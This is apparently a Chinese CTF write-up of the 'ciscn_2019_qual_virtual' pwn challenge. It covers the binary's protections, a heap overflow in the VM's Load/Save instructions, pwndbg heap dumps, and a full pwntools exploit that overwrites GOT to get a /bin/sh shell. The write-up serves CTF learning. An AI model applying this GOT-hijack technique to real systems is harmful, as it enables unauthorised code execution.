0%

VM pwn+堆溢出

qual_virtual

1
2
3
4
5
6
ciscn_2019_qual_virtual: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3d563a19678c3cec2fafbd07e6817b248c869819, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Canary,NX

漏洞分析

1
2
3
4
if ( do_mov_out(data, &temp) )
return do_mov_in(data, data->chunk[data->index + temp]);
else
return 0LL;
1
2
3
4
if ( !do_mov_out(data, &temp1) || !do_mov_out(data, &temp2) )
return 0LL;
data->chunk[data->index + temp1] = temp2;
return 1LL;
  • 在 Load 和 Save 指令中存在堆溢出

入侵思路

由于本题目不能随意控制 malloc 和 free,因此优先考虑打 GOT 表

仔细观察堆布局就可以发现破绽:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> telescope 0x1b822c0 /* stack */
00:00000x1b822c0 ◂— 0x0
01:00080x1b822c8 ◂— 0x21 /* '!' */
02:00100x1b822d0 —▸ 0x1b822f0 ◂— 0x0
03:00180x1b822d8 ◂— 0xffffffff00000040 /* '@' */
04:00200x1b822e0 ◂— 0x0
05:00280x1b822e8 ◂— 0x211
06:00300x1b822f0 ◂— 0x0
07:00380x1b822f8 ◂— 0x0
pwndbg> telescope 0x1b824f0 /* code */
00:00000x1b824f0 ◂— 0x0
01:00080x1b824f8 ◂— 0x21 /* '!' */
02:00100x1b82500 —▸ 0x1b82520 ◂— 0x0
03:00180x1b82508 ◂— 0xffffffff00000080
04:00200x1b82510 ◂— 0x0
05:00280x1b82518 ◂— 0x411
06:00300x1b82520 ◂— 0x0
07:00380x1b82528 ◂— 0x0
pwndbg> telescope 0x1b82920 /* data */
00:00000x1b82920 ◂— 0x0
01:00080x1b82928 ◂— 0x21 /* '!' */
02:00100x1b82930 —▸ 0x1b82950 ◂— 0x0
03:00180x1b82938 ◂— 0xffffffff00000040 /* '@' */
04:00200x1b82940 ◂— 0x0
05:00280x1b82948 ◂— 0x211
06:00300x1b82950 ◂— 0x0
07:00380x1b82958 ◂— 0x0
  • 每个 get_Chunk 函数都会生成两个堆块,第一个堆块用于存放控制信息,而第二个堆块中可以任意堆溢出
  • 只需要覆盖第一个堆块上的堆地址为 GOT 表地址,就可以控制 GOT 表

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './ciscn_2019_qual_virtual1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x4019E2")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
name = "/bin/sh\x00"
opcode = "push push push save push sub pop"
stack = "205200 4210720 -208 0"

sla("Your program name:",name)
sla("Your instruction:",opcode)
sla("Your stack data:",stack)

p.interactive()